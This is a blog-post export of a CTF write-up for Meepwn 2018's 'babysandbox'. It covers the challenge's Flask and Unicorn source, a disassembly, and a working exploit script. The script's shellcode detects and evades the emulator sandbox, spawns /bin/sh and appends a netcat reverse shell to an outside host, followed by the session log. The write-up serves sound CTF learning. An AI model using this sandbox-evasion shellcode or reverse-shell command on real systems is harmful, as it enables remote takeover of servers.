{"id":680,"date":"2018-07-15T19:38:15","date_gmt":"2018-07-15T19:38:15","guid":{"rendered":"https:\/\/devel0pment.de\/?p=680"},"modified":"2018-07-15T19:38:15","modified_gmt":"2018-07-15T19:38:15","slug":"meepwn-ctf-quals-2018-babysandbox","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=680","title":{"rendered":"Meepwn CTF Quals 2018 \u2013 babysandbox"},"content":{"rendered":"<style>\n  .spanFlag {\n    color:#0000ff;\n    font-weight:bold;\n  }\n<\/style>\n<p>The <a href=\"https:\/\/ctf.meepwn.team\/\" target=\"_blank\" rel=\"noopener\">Meepwn CTF Quals 2018<\/a> (<a href=\"https:\/\/ctftime.org\/event\/625\" target=\"_blank\" rel=\"noopener\">ctftime.org<\/a>) ran from 13\/07\/2018, 19:00 UTC to 15\/07\/2018 19:00 UTC.<\/p>\n<p>There were a lot of interesting-looking challenges. As always, time was the limiting factor \ud83d\ude09 I managed to spend 2 hours on saturday morning solving the pwn challenge <i>babysandbox<\/i>.<\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1>babysandbox (100 pts)<\/h1>\n<h3>Challenge description<\/h3>\n<p><i><br \/>\nDo you know Unicorn engine? Let&#8217;s bypass my baby sandbox<br \/>\nhttp:\/\/178.128.100.75\/<br \/>\n<\/i><\/p>\n<p>The website:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/07\/screen1.png\" alt=\"\" width=\"700\" class=\"alignnone size-full wp-image-681\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/07\/screen1.png 1130w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/07\/screen1-300x135.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/07\/screen1-768x345.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/07\/screen1-1024x459.png 1024w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<h3>Source code<\/h3>\n<p>When choosing <code>Get Source<\/code> the source code of the baby sandbox can be viewed:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\nfrom __future__ import print_function\r\nfrom flask import Flask, Response, render_template, session, request, jsonify, send_file\r\nimport os\r\nfrom subprocess import run, STDOUT, PIPE, CalledProcessError\r\nfrom base64 import b64decode, b64encode\r\nfrom unicorn import *\r\nfrom unicorn.x86_const import *\r\nimport codecs\r\nimport time\r\n\r\napp = Flask(__name__)\r\napp.secret_key = open('private\/secret.txt').read()\r\n\r\n\r\nADDRESS = 0x1000000\r\nsys_fork = 2\r\nsys_read = 3\r\nsys_write = 4\r\nsys_open = 5\r\nsys_close = 6\r\nsys_execve = 11\r\nsys_access = 33\r\nsys_dup\t= 41\r\nsys_dup2 = 63\r\nsys_mmap = 90\r\nsys_munmap = 91\r\nsys_mprotect = 125\r\nsys_sendfile = 187\r\nsys_sendfile64 = 239\r\nBADSYSCALL = &#x5B;sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]\r\n\r\n# callback for tracing Linux interrupt\r\ndef hook_intr(uc, intno, user_data):\r\n\tif intno != 0x80:\r\n\t\tuc.emu_stop()\r\n\t\treturn\r\n\teax = uc.reg_read(UC_X86_REG_EAX)\r\n\tif eax in BADSYSCALL:\r\n\t\tsession&#x5B;'ISBADSYSCALL'] = True\r\n\t\tuc.emu_stop()\r\n\r\ndef test_i386(mode, code):\r\n\ttry:\r\n\t\t# Initialize emulator\r\n\t\tmu = Uc(UC_ARCH_X86, mode)\r\n\r\n\t\t# map 2MB memory for this emulation\r\n\t\tmu.mem_map(ADDRESS, 2 * 1024 * 1024)\r\n\r\n\t\t# write machine code to be emulated to memory\r\n\t\tmu.mem_write(ADDRESS, code)\r\n\r\n\t\t# initialize stack\r\n\t\tmu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)\r\n\r\n\t\t\r\n\t\t# handle interrupt ourself\r\n\t\tmu.hook_add(UC_HOOK_INTR, hook_intr)\r\n\r\n\t\t# emulate machine code in infinite time\r\n\t\tmu.emu_start(ADDRESS, ADDRESS + len(code))\r\n\texcept UcError as e:\r\n\t\tprint(&quot;ERROR: %s&quot; % e)\r\n\r\n\r\n@app.route('\/')\r\ndef main():\r\n\tif session.get('ISBADSYSCALL') == None:\r\n\t\tsession&#x5B;'ISBADSYSCALL'] = False\r\n\treturn render_template('index.html', name=&quot;BABY&quot;)\r\n\r\n\t\r\n@app.route('\/source', methods=&#x5B;'GET'])\r\ndef resouce():\r\n\treturn send_file(&quot;app.py&quot;)\r\n\r\n@app.route('\/bin', methods=&#x5B;'GET'])\r\ndef bin():\r\n\treturn send_file(&quot;\/home\/babysandbox\/babysandbox&quot;)\r\n\r\n\t\t\r\n@app.route('\/exploit', methods=&#x5B;'POST'])\r\ndef exploit():\r\n\ttry:\r\n\t\tdata = request.get_json(force=True)\r\n\texcept Exception:\r\n\t\treturn jsonify({'result': 'Wrong data!'})\r\n\t\r\n\ttry:\r\n\t\tpayload = b64decode(data&#x5B;'payload'].encode())\r\n\texcept:\r\n\t\treturn jsonify({'result': 'Wrong data!'})\r\n\t\r\n\ttest_i386(UC_MODE_32, payload)\r\n\tif session&#x5B;'ISBADSYSCALL']:\r\n\t\treturn jsonify({'result': 'Bad Syscall!'})\r\n\ttry:\r\n\t\trun(&#x5B;'nc', 'localhost', '9999'], input=payload, timeout=2, check=True)\r\n\texcept CalledProcessError:\r\n\t\treturn jsonify({'result': 'Error run file!'})\r\n\t\t\r\n\treturn jsonify({'result': &quot;DONE!&quot;})\r\n\t\t\r\n\r\nif __name__ == '__main__':\r\n\tapp.run(host='0.0.0.0', port=8080)\r\n<\/pre>\n<p>So there is a <a href=\"https:\/\/en.wikipedia.org\/wiki\/Flask_(web_framework)\" target=\"_blank\" rel=\"noopener\">flask<\/a> web framework running on the server.<\/p>\n<p>The <code>\/exploit<\/code> endpoint accepts a payload, which is passed to the function <code>test_i386<\/code> before being passed to the actual binary running on port <code>9999<\/code>.<\/p>\n<p>The function <code>test_i386<\/code> uses <a href=\"https:\/\/www.unicorn-engine.org\/\" target=\"_blank\" rel=\"noopener\">unicorn<\/a> to set up a basic environment to run the provided payload.<\/p>\n<p>A hook is installed, which is called on every interrupt:<\/p>\n<pre class=\"brush: python; first-line: 57; title: ; notranslate\" title=\"\">\r\n\t\t# handle interrupt ourself\r\n\t\tmu.hook_add(UC_HOOK_INTR, hook_intr)\r\n<\/pre>\n<p>Within the hook-handler, <i>bad<\/i> system calls are filtered out:<\/p>\n<pre class=\"brush: python; first-line: 32; title: ; notranslate\" title=\"\">\r\n# callback for tracing Linux interrupt\r\ndef hook_intr(uc, intno, user_data):\r\n\tif intno != 0x80:\r\n\t\tuc.emu_stop()\r\n\t\treturn\r\n\teax = uc.reg_read(UC_X86_REG_EAX)\r\n\tif eax in BADSYSCALL:\r\n\t\tsession&#x5B;'ISBADSYSCALL'] = True\r\n\t\tuc.emu_stop()\r\n<\/pre>\n<p>When the payload contains <i>bad<\/i> system call, the session variable <code>session['ISBADSYSCALL']<\/code> is set to <code>True<\/code>.<\/p>\n<p>When <code>session['ISBADSYSCALL']<\/code> is <code>True<\/code>, the payload is not passed to the actual binary:<\/p>\n<pre class=\"brush: python; first-line: 95; title: ; notranslate\" title=\"\">\r\n\tif session&#x5B;'ISBADSYSCALL']:\r\n\t\treturn jsonify({'result': 'Bad Syscall!'})\r\n\ttry:\r\n\t\trun(&#x5B;'nc', 'localhost', '9999'], input=payload, timeout=2, check=True)\r\n<\/pre>\n<p>Before we attempt to bypass the sandbox, let&#8217;s have a quick look at the binary, which can be retrieved by choosing <i>Get Binary<\/i>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,7,29,53,61,89]; title: ; notranslate\" title=\"\">\r\nroot@kali:~# r2 -A bin\r\n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\r\n&#x5B;x] Analyze len bytes of instructions for references (aar)\r\n&#x5B;x] Analyze function calls (aac)\r\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\r\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\r\n&#x5B;0x000005d0]&gt; afl\r\n0x00000000    3 72   -&gt; 73   sym.imp.__cxa_finalize\r\n0x00000538    3 35           sym._init\r\n0x00000570    2 16   -&gt; 32   sym.imp.mprotect\r\n0x00000580    2 16   -&gt; 48   sym.imp.read\r\n0x00000590    2 16   -&gt; 48   sym.imp.mmap\r\n0x000005a0    2 16   -&gt; 48   sym.imp.__libc_start_main\r\n0x000005b0    2 16   -&gt; 48   sym.imp.close\r\n0x000005c0    1 8            fcn.000005c0\r\n0x000005c8    1 8            fcn.000005c8\r\n0x000005d0    1 49           entry0\r\n0x00000602    1 4            fcn.00000602\r\n0x00000610    1 4            sym.__x86.get_pc_thunk.bx\r\n0x00000620    4 55           sym.deregister_tm_clones\r\n0x00000660    4 71           sym.register_tm_clones\r\n0x000006b0    5 71           sym.__do_global_dtors_aux\r\n0x00000700    4 60   -&gt; 56   entry1.init\r\n0x0000073c    1 4            sym.__x86.get_pc_thunk.dx\r\n0x00000740    1 157          sym.main\r\n0x000007e0    4 93           sym.__libc_csu_init\r\n0x00000840    1 2            sym.__libc_csu_fini\r\n0x00000844    1 20           sym._fini\r\n&#x5B;0x000005d0]&gt; pdf @ sym.main\r\n            ;-- main:\r\n\/ (fcn) sym.main 157\r\n|   sym.main ();\r\n|           ; var int local_ch @ ebp-0xc\r\n|           ; var int local_4h_2 @ ebp-0x4\r\n|           ; var int local_4h @ esp+0x4\r\n|              ; XREFS: CALL 0x00000763  CALL 0x0000077b  CALL 0x00000790  CALL 0x000007a1  CALL 0x000007b2\r\n|              ; XREFS: CALL 0x000007c3\r\n|           0x00000740      8d4c2404       lea ecx, dword &#x5B;local_4h]\r\n|           0x00000744      83e4f0         and esp, 0xfffffff0\r\n|           0x00000747      ff71fc         push dword &#x5B;ecx - 4]\r\n|           0x0000074a      55             push ebp\r\n|           0x0000074b      89e5           mov ebp, esp\r\n|           0x0000074d      51             push ecx\r\n|           0x0000074e      83ec14         sub esp, 0x14\r\n|           0x00000751      83ec08         sub esp, 8\r\n|           0x00000754      6a00           push 0\r\n|           0x00000756      6aff           push -1\r\n|           0x00000758      6a22           push 0x22                   ; '&quot;'\r\n|           0x0000075a      6a07           push 7\r\n|           0x0000075c      6800010000     push 0x100                  ; &quot;`\\b&quot;\r\n|           0x00000761      6a00           push 0\r\n(reloc.mmap_100)\r\n|           0x00000763      e8fcffffff     call reloc.mmap_100           ; RELOC 32 mmap\r\n|           0x00000768      83c420         add esp, 0x20\r\n|           0x0000076b      8945f4         mov dword &#x5B;local_ch], eax\r\n|           0x0000076e      83ec04         sub esp, 4\r\n|           0x00000771      6800010000     push 0x100                  ; &quot;`\\b&quot;\r\n|           0x00000776      ff75f4         push dword &#x5B;local_ch]\r\n|           0x00000779      6a00           push 0\r\n(reloc.read_124)\r\n|           0x0000077b      e8fcffffff     call reloc.read_124           ; RELOC 32 read\r\n|           0x00000780      83c410         add esp, 0x10\r\n|           0x00000783      83ec04         sub esp, 4\r\n|           0x00000786      6a05           push 5\r\n|           0x00000788      6800010000     push 0x100                  ; &quot;`\\b&quot;\r\n|           0x0000078d      ff75f4         push dword &#x5B;local_ch]\r\n(reloc.mprotect_145)\r\n|           0x00000790      e8fcffffff     call reloc.mprotect_145       ; RELOC 32 mprotect\r\n|           0x00000795      83c410         add esp, 0x10\r\n|           0x00000798      a100000000     mov eax, dword &#x5B;0]            ; RELOC 32\r\n|           0x0000079d      83ec0c         sub esp, 0xc\r\n|           0x000007a0      50             push eax\r\n(reloc.close_162)\r\n|           0x000007a1      e8fcffffff     call reloc.close_162          ; RELOC 32 close\r\n|           0x000007a6      83c410         add esp, 0x10\r\n|           0x000007a9      a100000000     mov eax, dword &#x5B;0]            ; RELOC 32\r\n|           0x000007ae      83ec0c         sub esp, 0xc\r\n|           0x000007b1      50             push eax\r\n(reloc.close_179)\r\n|           0x000007b2      e8fcffffff     call reloc.close_179          ; RELOC 32 close\r\n|           0x000007b7      83c410         add esp, 0x10\r\n|           0x000007ba      a100000000     mov eax, dword &#x5B;0]            ; RELOC 32\r\n|           0x000007bf      83ec0c         sub esp, 0xc\r\n|           0x000007c2      50             push eax\r\n(reloc.close_196)\r\n|           0x000007c3      e8fcffffff     call reloc.close_196          ; RELOC 32 close\r\n|           0x000007c8      83c410         add esp, 0x10\r\n|           0x000007cb      8b45f4         mov eax, dword &#x5B;local_ch]\r\n|           0x000007ce      ffd0           call eax\r\n|           0x000007d0      b800000000     mov eax, 0\r\n|           0x000007d5      8b4dfc         mov ecx, dword &#x5B;local_4h_2]\r\n|           0x000007d8      c9             leave\r\n|           0x000007d9      8d61fc         lea esp, dword &#x5B;ecx - 4]\r\n\\           0x000007dc      c3             ret\r\n<\/pre>\n<p>There is nothing really special. A new memory region is allocated using <code>mmap<\/code>. Then the payload is stored in this memory using <code>read<\/code> and finally the payload is executed (<code>call eax<\/code>).<\/p>\n<h3>Solution<\/h3>\n<p>Which are the problems we have to face?<br \/>\n&#8211;&gt; The binary itself accepts an arbitrary payload. The only think we have to bypass is the unicorn sandbox, which filters out <i>bad<\/i> systemcalls.<br \/>\n&#8211;&gt; If we for example execute <code>'\/bin\/sh'<\/code> we cannot directly interact with the shell, because <code>run<\/code> spawns a new process whose <code>stdin\/stdout<\/code> is not bound to our socket.<\/p>\n<p>How do we solve this problems?<br \/>\n&#8211;&gt; The difference between the unicorn sandbox and the actual binary is that the sandbox runs the payload in a clean environment. The binary is in a specific state before the payload is executed by calling eax.<br \/>\n&#8211;&gt; This <code>call eax<\/code> instruction places the return address on the stack. This means that the top-value on the stack is <code>!= 0<\/code>. That is not the case in the clean environment in the sandbox.<br \/>\n&#8211;&gt; This means that we can determine if we are in the sandbox, by comparing the top-value on the stack with 0.<br \/>\n&#8211;&gt; If the value is 0, we are in the sandbox and just quit (system call <code>exit<\/code>).<br \/>\n&#8211;&gt; If the value is not 0, we are in the binary and run our actual payload (system call <code>execve('\/bin\/sh')<\/code>).<br \/>\n&#8211;&gt; Because we cannot directly interact with the shell on <code>stdin\/stdout<\/code>, we add a command to the payload, which is executed as a shell-command.<\/p>\n<p>I ended up with the following python-script:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nroot@kali:~# cat expl.py\r\n#!\/usr\/bin\/env python\r\n\r\nfrom pwn import *\r\nimport requests\r\n\r\nurl = 'http:\/\/178.128.100.75'\r\n\r\nshellcode = asm(\r\n'mov eax, &#x5B;esp]\\n'\r\n'test eax, eax\\n'\r\n'jz _exit\\n'        # if (sandbox) goto exit\r\n\r\n'xor eax, eax\\n'\r\n'push eax\\n'\r\n'push 0x68732f2f\\n'\r\n'push 0x6e69622f\\n'\r\n'mov ebx, esp\\n'\r\n'mov ecx, eax\\n'\r\n'mov edx, eax\\n'\r\n'mov al, 0xb\\n'\r\n'int 0x80\\n'        # sys_execve('\/bin\/sh')\r\n\r\n'_exit:\\n'\r\n'mov ebx, 0\\n'\r\n'mov eax, 0x1\\n'\r\n'int 0x80'          # sys_exit(0)\r\n)\r\n\r\ncmd = 'nc -vn 12.34.56.78 31337 -e \/bin\/sh&amp;'\r\nshellcode += (0x100-len(shellcode)) * '\\x90'\r\nshellcode += cmd + '\\n'\r\n\r\ns = requests.Session()\r\ns.get(url)\r\nlog.info('got session-id: '+s.cookies.get('session'))\r\n\r\nr = s.post(url+'\/exploit', data='{&quot;payload&quot;:&quot;'+shellcode.encode('base64').replace('\\n','')+'&quot;}')\r\nlog.success('executed cmd \\''+cmd+'\\'')\r\n<\/pre>\n<p>The shellcode itself is straightforward: check if the top-value on the stack is 0. If it is not, call <code>sys_execve('\/bin\/sh')<\/code> (we are in the actual binary).<\/p>\n<p>I padded the shellcode to 0x100 bytes so that the call to <code>read<\/code> takes all those 0x100 bytes and the additional bytes (<code>cmd<\/code>) are interpreted as a shell-command.<\/p>\n<p>I tried different shell-commands noticing that it did not seem to be possible to open a bind-shell. So I used a reverse shell, which is executed as a background job (<code>&<\/code>), because the <code>run<\/code> functions times out after 2 seconds, terminating the process if it is not executed as a background job.<\/p>\n<p>Also notice that we first have to retrieve a valid session-id by visiting the main-page in order to assign a value to <code>session['ISBADSYSCALL']<\/code>:<\/p>\n<pre class=\"brush: python; first-line: 101; title: ; notranslate\" title=\"\">\r\n@app.route('\/')\r\ndef main():\r\n\tif session.get('ISBADSYSCALL') == None:\r\n\t\tsession&#x5B;'ISBADSYSCALL'] = False\r\n<\/pre>\n<p>Otherwise the following line within the <code>\/exploit<\/code> endpoint will raise an <code>unknown key<\/code> error:<\/p>\n<pre class=\"brush: python; first-line: 95; title: ; notranslate\" title=\"\">\r\n\tif session&#x5B;'ISBADSYSCALL']:\r\n<\/pre>\n<h3>Flag<\/h3>\n<p>Running the scripts executed the command <code>nc -vn 12.34.56.78 31337 -e \/bin\/sh&<\/code> on the server:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~# .\/expl.py\r\n&#x5B;*] got session-id: eyJJU0JBRFNZU0NBTEwiOmZhbHNlfQ.DitsXA.NTCr2numdPTm-hvq5VMkhEJMeoY\r\n&#x5B;+] executed cmd 'nc -vn 12.34.56.78 31337 -e \/bin\/sh&amp;'\r\n<\/pre>\n<p>In another terminal a netcat-listener receives the reverse shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~# nc -lvp 31337\r\nlistening on &#x5B;any] 31337 ...\r\n178.128.100.75: inverse host lookup failed: Unknown host\r\nconnect to &#x5B;192.168.1.30] from (UNKNOWN) &#x5B;178.128.100.75] 50300\r\nid\r\nuid=1000(babysandbox) gid=1000(babysandbox) groups=1000(babysandbox)\r\nls -al\r\ntotal 92\r\ndrwxr-xr-x   1 root root 4096 Jul 13 17:47 .\r\ndrwxr-xr-x   1 root root 4096 Jul 13 17:47 ..\r\n-rwxr-xr-x   1 root root    0 Jul  9 03:51 .dockerenv\r\ndrwxr-xr-x   1 root root 4096 Jul 13 17:46 app\r\ndrwxr-xr-x   1 root root 4096 Jul 13 14:48 bin\r\ndrwxr-xr-x   2 root root 4096 Apr 24 08:34 boot\r\ndrwxr-xr-x   5 root root  340 Jul 14 04:13 dev\r\ndrwxr-xr-x   1 root root 4096 Jul 13 14:48 etc\r\n-rw-r--r--   1 root root   53 Jul 13 17:47 flag\r\ndrwxr-xr-x   1 root root 4096 Jul  9 03:51 home\r\n-rwxrwxrwx   1 root root   54 Jul  9 02:56 init.sh\r\ndrwxr-xr-x   1 root root 4096 Jul  9 02:53 lib\r\ndrwxr-xr-x   2 root root 4096 Jul  9 02:53 lib32\r\ndrwxr-xr-x   2 root root 4096 May 26 00:44 lib64\r\ndrwxr-xr-x   2 root root 4096 Jul  9 02:53 libx32\r\ndrwxr-xr-x   2 root root 4096 May 26 00:44 media\r\ndrwxr-xr-x   2 root root 4096 May 26 00:44 mnt\r\ndrwxr-xr-x   2 root root 4096 May 26 00:44 opt\r\ndr-xr-xr-x 118 root root    0 Jul 14 04:13 proc\r\ndrwx------   1 root root 4096 Jul 13 14:49 root\r\ndrwxrwxr--   1 root root 4096 Jul 14 04:13 run\r\ndrwxr-xr-x   1 root root 4096 Jun  5 21:20 sbin\r\ndrwxr-xr-x   2 root root 4096 May 26 00:44 srv\r\ndr-xr-xr-x  13 root root    0 Jul  9 02:56 sys\r\ndrwx-wx-wt   1 root root 4096 Jul 14 07:36 tmp\r\ndrwxr-xr-x   1 root root 4096 Jul  9 02:53 usr\r\ndrwxr-xr-x   1 root root 4096 May 26 00:45 var\r\ncat flag\r\nMeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}\r\nexit\r\n<\/pre>\n<p>Done! The flag is <code><span class=\"spanFlag\">MeePwnCTF{Unicorn_Engine_Is_So_Good_But_Not_Perfect}<\/span><\/code> \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Meepwn CTF Quals 2018 (ctftime.org) ran from 13\/07\/2018, 19:00 UTC to 15\/07\/2018 19:00 UTC. There were a lot of interesting-looking challenges. As always, time was the limiting factor \ud83d\ude09 I managed to spend 2 hours on saturday morning solving the pwn challenge babysandbox.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[8,20,10,11,14],"class_list":["post-680","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-assembly","tag-ctf","tag-pwn","tag-r2","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/680"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=680"}],"version-history":[{"count":5,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/680\/revisions"}],"predecessor-version":[{"id":686,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/680\/revisions\/686"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=680"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=680"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=680"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}